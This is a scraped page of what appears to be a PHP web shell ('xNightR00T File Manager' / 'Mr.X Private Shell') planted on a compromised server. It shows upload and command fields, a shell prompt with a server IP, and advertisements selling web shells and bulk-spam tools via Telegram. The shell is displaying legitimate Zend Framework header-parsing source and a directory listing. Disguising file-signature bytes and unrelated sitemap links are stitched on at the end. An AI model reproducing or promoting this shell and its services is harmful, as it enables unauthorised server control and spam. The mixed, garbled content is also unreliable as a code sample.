xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php
/**
 * @see       https://github.com/zendframework/zend-http for the canonical source repository
 * @copyright Copyright (c) 2005-2017 Zend Technologies USA Inc. (http://www.zend.com)
 * @license   https://github.com/zendframework/zend-http/blob/master/LICENSE.md New BSD License
 */

namespace Zend\Http\Header;

use stdClass;

/**
 * Abstract Accept Header
 *
 * Naming conventions:
 *
 *    Accept: audio/mp3; q=0.2; version=0.5, audio/basic+mp3
 *   |------------------------------------------------------|  header line
 *   |------|                                                  field name
 *          |-----------------------------------------------|  field value
 *          |-------------------------------|                  field value part
 *          |------|                                           type
 *                  |--|                                       subtype
 *                  |--|                                       format
 *                                                |----|       subtype
 *                                                      |---|  format
 *                      |-------------------|                  parameter set
 *                              |-----------|                  parameter
 *                              |-----|                        parameter key
 *                                      |--|                   parameter value
 *                        |---|                                priority
 *
 *
 * @see        http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.1
 * @author     Dolf Schimmel - Freeaqingme
 */
abstract class AbstractAccept implements HeaderInterface
{
    /**
     * @var stdClass[]
     */
    protected $fieldValueParts = [];

    protected $regexAddType;

    /**
     * Determines if since last mutation the stack was sorted
     *
     * @var bool
     */
    protected $sorted = false;

    /**
     * Parse a full header line or just the field value part.
     *
     * @param string $headerLine
     */
    public function parseHeaderLine($headerLine)
    {
        if (strpos($headerLine, ':') !== false) {
            list($name, $value) = GenericHeader::splitHeaderLine($headerLine);
            if (strtolower($name) !== strtolower($this->getFieldName())) {
                $value = $headerLine; // This is just for preserve the BC.
            }
        } else {
            $value = $headerLine;
        }

        HeaderValue::assertValid($value);

        foreach ($this->getFieldValuePartsFromHeaderLine($value) as $value) {
            $this->addFieldValuePartToQueue($value);
        }
    }

    /**
     * Factory method: parse Accept header string
     *
     * @param  string $headerLine
     * @return Accept
     */
    public static function fromString($headerLine)
    {
        $obj = new static();
        $obj->parseHeaderLine($headerLine);
        return $obj;
    }

    /**
     * Parse the Field Value Parts represented by a header line
     *
     * @param string  $headerLine
     * @throws Exception\InvalidArgumentException If header is invalid
     * @return array
     */
    public function getFieldValuePartsFromHeaderLine($headerLine)
    {
        // process multiple accept values, they may be between quotes
        if (! preg_match_all('/(?:[^,"]|"(?:[^\\\"]|\\\.)*")+/', $headerLine, $values)
                || ! isset($values[0])
        ) {
            throw new Exception\InvalidArgumentException(
                'Invalid header line for ' . $this->getFieldName() . ' header string'
            );
        }

        $out = [];
        foreach ($values[0] as $value) {
            $value = trim($value);
            $out[] = $this->parseFieldValuePart($value);
        }

        return $out;
    }

    /**
     * Parse the accept params belonging to a media range
     *
     * @param string $fieldValuePart
     * @return stdClass
     */
    protected function parseFieldValuePart($fieldValuePart)
    {
        $raw = $subtypeWhole = $type = $fieldValuePart;
        if ($pos = strpos($fieldValuePart, ';')) {
            $type = substr($fieldValuePart, 0, $pos);
        }

        $params = $this->getParametersFromFieldValuePart($fieldValuePart);

        if ($pos = strpos($fieldValuePart, ';')) {
            $fieldValuePart = trim(substr($fieldValuePart, 0, $pos));
        }

        $format = '*';
        $subtype = '*';

        return (object) [
            'typeString' => trim($fieldValuePart),
            'type'       => $type,
            'subtype'    => $subtype,
            'subtypeRaw' => $subtypeWhole,
            'format'     => $format,
            'priority'   => isset($params['q']) ? $params['q'] : 1,
            'params'     => $params,
            'raw'        => trim($raw),
        ];
    }

    /**
     * Parse the keys contained in the header line
     *
     * @param string $fieldValuePart
     * @return array
     */
    protected function getParametersFromFieldValuePart($fieldValuePart)
    {
        $params = [];
        if ((($pos = strpos($fieldValuePart, ';')) !== false)) {
            preg_match_all('/(?:[^;"]|"(?:[^\\\"]|\\\.)*")+/', $fieldValuePart, $paramsStrings);

            if (isset($paramsStrings[0])) {
                array_shift($paramsStrings[0]);
                $paramsStrings = $paramsStrings[0];
            }

            foreach ($paramsStrings as $param) {
                $explode = explode('=', $param, 2);

                if (count($explode) === 2) {
                    $value = trim($explode[1]);
                } else {
                    $value = null;
                }

                if (isset($value[0]) && $value[0] == '"' && substr($value, -1) == '"') {
                    $value = substr(substr($value, 1), 0, -1);
                }

                $params[trim($explode[0])] = stripslashes($value);
            }
        }

        return $params;
    }

    /**
     * Get field value
     *
     * @param array|null $values
     * @return string
     */
    public function getFieldValue($values = null)
    {
        if ($values === null) {
            return $this->getFieldValue($this->fieldValueParts);
        }

        $strings = [];
        foreach ($values as $value) {
            $params = $value->params;
            array_walk($params, [$this, 'assembleAcceptParam']);
            $strings[] = implode(';', [$value->typeString] + $params);
        }

        return implode(', ', $strings);
    }

    /**
     * Assemble and escape the field value parameters based on RFC 2616 section 2.1
     *
     * @todo someone should review this thoroughly
     * @param string $value
     * @param string $key
     * @return string
     */
    protected function assembleAcceptParam(&$value, $key)
    {
        $separators = ['(', ')', '<', '>', '@', ',', ';', ':', '/', '[', ']', '?', '=', '{', '}', ' ', "\t"];

        $escaped = preg_replace_callback(
            '/[[:cntrl:]"\\\\]/', // escape cntrl, ", \
            function ($v) {
                return '\\' . $v[0];
            },
            $value
        );

        if ($escaped == $value && ! array_intersect(str_split($value), $separators)) {
            $value = $key . ($value ? '=' . $value : '');
        } else {
            $value = $key . ($value ? '="' . $escaped . '"' : '');
        }

        return $value;
    }

    /**
     * Add a type, with the given priority
     *
     * @param  string $type
     * @param  int|float $priority
     * @param  array (optional) $params
     * @throws Exception\InvalidArgumentException
     * @return Accept
     */
    protected function addType($type, $priority = 1, array $params = [])
    {
        if (! preg_match($this->regexAddType, $type)) {
            throw new Exception\InvalidArgumentException(sprintf(
                '%s expects a valid type; received "%s"',
                __METHOD__,
                (string) $type
            ));
        }

        if (! is_int($priority) && ! is_float($priority) && ! is_numeric($priority)
            || $priority > 1 || $priority < 0
        ) {
            throw new Exception\InvalidArgumentException(sprintf(
                '%s expects a numeric priority; received %s',
                __METHOD__,
                (string) $priority
            ));
        }

        if ($priority != 1) {
            $params = ['q' => sprintf('%01.1f', $priority)] + $params;
        }

        $assembledString = $this->getFieldValue(
            [(object) ['typeString' => $type, 'params' => $params]]
        );

        $value = $this->parseFieldValuePart($assembledString);
        $this->addFieldValuePartToQueue($value);
        return $this;
    }

    /**
     * Does the header have the requested type?
     *
     * @param  array|string $matchAgainst
     * @return bool
     */
    protected function hasType($matchAgainst)
    {
        return (bool) $this->match($matchAgainst);
    }

    /**
     * Match a media string against this header
     *
     * @param array|string $matchAgainst
     * @return Accept\FieldValuePArt\AcceptFieldValuePart|bool The matched value or false
     */
    public function match($matchAgainst)
    {
        if (is_string($matchAgainst)) {
            $matchAgainst = $this->getFieldValuePartsFromHeaderLine($matchAgainst);
        }

        foreach ($this->getPrioritized() as $left) {
            foreach ($matchAgainst as $right) {
                if ($right->type == '*' || $left->type == '*') {
                    if ($this->matchAcceptParams($left, $right)) {
                        $left->setMatchedAgainst($right);

                        return $left;
                    }
                }

                if ($left->type == $right->type) {
                    if (($left->subtype == $right->subtype || ($right->subtype == '*' || $left->subtype == '*'))
                        && ($left->format == $right->format || $right->format == '*' || $left->format == '*')
                    ) {
                        if ($this->matchAcceptParams($left, $right)) {
                            $left->setMatchedAgainst($right);

                            return $left;
                        }
                    }
                }
            }
        }

        return false;
    }

    /**
     * Return a match where all parameters in argument #1 match those in argument #2
     *
     * @param array $match1
     * @param array $match2
     * @return bool|array
     */
    protected function matchAcceptParams($match1, $match2)
    {
        foreach ($match2->params as $key => $value) {
            if (isset($match1->params[$key])) {
                if (strpos($value, '-')) {
                    preg_match(
                        '/^(?|([^"-]*)|"([^"]*)")-(?|([^"-]*)|"([^"]*)")\z/',
                        $value,
                        $pieces
                    );

                    if (count($pieces) == 3
                        && (version_compare($pieces[1], $match1->params[$key], '<=')
                            xor version_compare($pieces[2], $match1->params[$key], '>='))
                    ) {
                        return false;
                    }
                } elseif (strpos($value, '|')) {
                    $options = explode('|', $value);
                    $good = false;
                    foreach ($options as $option) {
                        if ($option == $match1->params[$key]) {
                            $good = true;
                            break;
                        }
                    }

                    if (! $good) {
                        return false;
                    }
                } elseif ($match1->params[$key] != $value) {
                    return false;
                }
            }
        }

        return $match1;
    }

    /**
     * Add a key/value combination to the internal queue
     *
     * @param stdClass $value
     * @return number
     */
    protected function addFieldValuePartToQueue($value)
    {
        $this->fieldValueParts[] = $value;
        $this->sorted = false;
    }

    /**
     * Sort the internal Field Value Parts
     *
     * @See rfc2616 sect 14.1
     * Media ranges can be overridden by more specific media ranges or
     * specific media types. If more than one media range applies to a given
     * type, the most specific reference has precedence. For example,
     *
     * Accept: text/*, text/html, text/html;level=1, * /*
     *
     * have the following precedence:
     *
     * 1) text/html;level=1
     * 2) text/html
     * 3) text/*
     * 4) * /*
     *
     * @return number
     */
    protected function sortFieldValueParts()
    {
        $sort = function ($a, $b) {
            // If A has higher precedence than B, return -1.
            if ($a->priority > $b->priority) {
                return -1;
            } elseif ($a->priority < $b->priority) {
                return 1;
            }

            // Asterisks
            $values = ['type', 'subtype', 'format'];
            foreach ($values as $value) {
                if ($a->$value == '*' && $b->$value != '*') {
                    return 1;
                } elseif ($b->$value == '*' && $a->$value != '*') {
                    return -1;
                }
            }

            if ($a->type == 'application' && $b->type != 'application') {
                return -1;
            } elseif ($b->type == 'application' && $a->type != 'application') {
                return 1;
            }

            // @todo count number of dots in case of type==application in subtype

            // So far they're still the same. Longest string length may be more specific
            if (strlen($a->raw) == strlen($b->raw)) {
                return 0;
            }
            return (strlen($a->raw) > strlen($b->raw)) ? -1 : 1;
        };

        usort($this->fieldValueParts, $sort);
        $this->sorted = true;
    }

    /**
     * @return array with all the keys, values and parameters this header represents:
     */
    public function getPrioritized()
    {
        if (! $this->sorted) {
            $this->sortFieldValueParts();
        }

        return $this->fieldValueParts;
    }
}

Filemanager

Name Type Size Permission Actions
Accept Folder 0755
Exception Folder 0755
AbstractAccept.php File 13.9 KB 0644
AbstractDate.php File 7.04 KB 0644
AbstractLocation.php File 3.73 KB 0644
Accept.php File 3.05 KB 0644
AcceptCharset.php File 1.81 KB 0644
AcceptEncoding.php File 1.83 KB 0644
AcceptLanguage.php File 2.83 KB 0644
AcceptRanges.php File 1.6 KB 0644
Age.php File 2.44 KB 0644
Allow.php File 4.51 KB 0644
AuthenticationInfo.php File 1.5 KB 0644
Authorization.php File 1.5 KB 0644
CacheControl.php File 6.39 KB 0644
Connection.php File 2.6 KB 0644
ContentDisposition.php File 1.53 KB 0644
ContentEncoding.php File 1.49 KB 0644
ContentLanguage.php File 1.51 KB 0644
ContentLength.php File 1.51 KB 0644
ContentLocation.php File 641 B 0644
ContentMD5.php File 1.44 KB 0644
ContentRange.php File 1.5 KB 0644
ContentSecurityPolicy.php File 4.21 KB 0644
ContentTransferEncoding.php File 1.58 KB 0644
ContentType.php File 9.94 KB 0644
Cookie.php File 3.6 KB 0644
Date.php File 599 B 0644
Etag.php File 1.4 KB 0644
Expect.php File 1.41 KB 0644
Expires.php File 821 B 0644
From.php File 1.4 KB 0644
GenericHeader.php File 4.08 KB 0644
GenericMultiHeader.php File 1.45 KB 0644
HeaderInterface.php File 1.08 KB 0644
HeaderValue.php File 2.81 KB 0644
Host.php File 1.4 KB 0644
IfMatch.php File 1.42 KB 0644
IfModifiedSince.php File 636 B 0644
IfNoneMatch.php File 1.49 KB 0644
IfRange.php File 1.42 KB 0644
IfUnmodifiedSince.php File 642 B 0644
KeepAlive.php File 1.4 KB 0644
LastModified.php File 625 B 0644
Location.php File 618 B 0644
MaxForwards.php File 1.49 KB 0644
MultipleHeaderInterface.php File 443 B 0644
Origin.php File 1.61 KB 0644
Pragma.php File 1.41 KB 0644
ProxyAuthenticate.php File 2.06 KB 0644
ProxyAuthorization.php File 1.52 KB 0644
Range.php File 1.41 KB 0644
Referer.php File 974 B 0644
Refresh.php File 1.37 KB 0644
RetryAfter.php File 2.35 KB 0644
Server.php File 1.41 KB 0644
SetCookie.php File 16.49 KB 0644
TE.php File 1.39 KB 0644
Trailer.php File 1.42 KB 0644
TransferEncoding.php File 1.49 KB 0644
Upgrade.php File 1.42 KB 0644
UserAgent.php File 1.46 KB 0644
Vary.php File 1.4 KB 0644
Via.php File 1.4 KB 0644
WWWAuthenticate.php File 2.05 KB 0644
Warning.php File 1.42 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml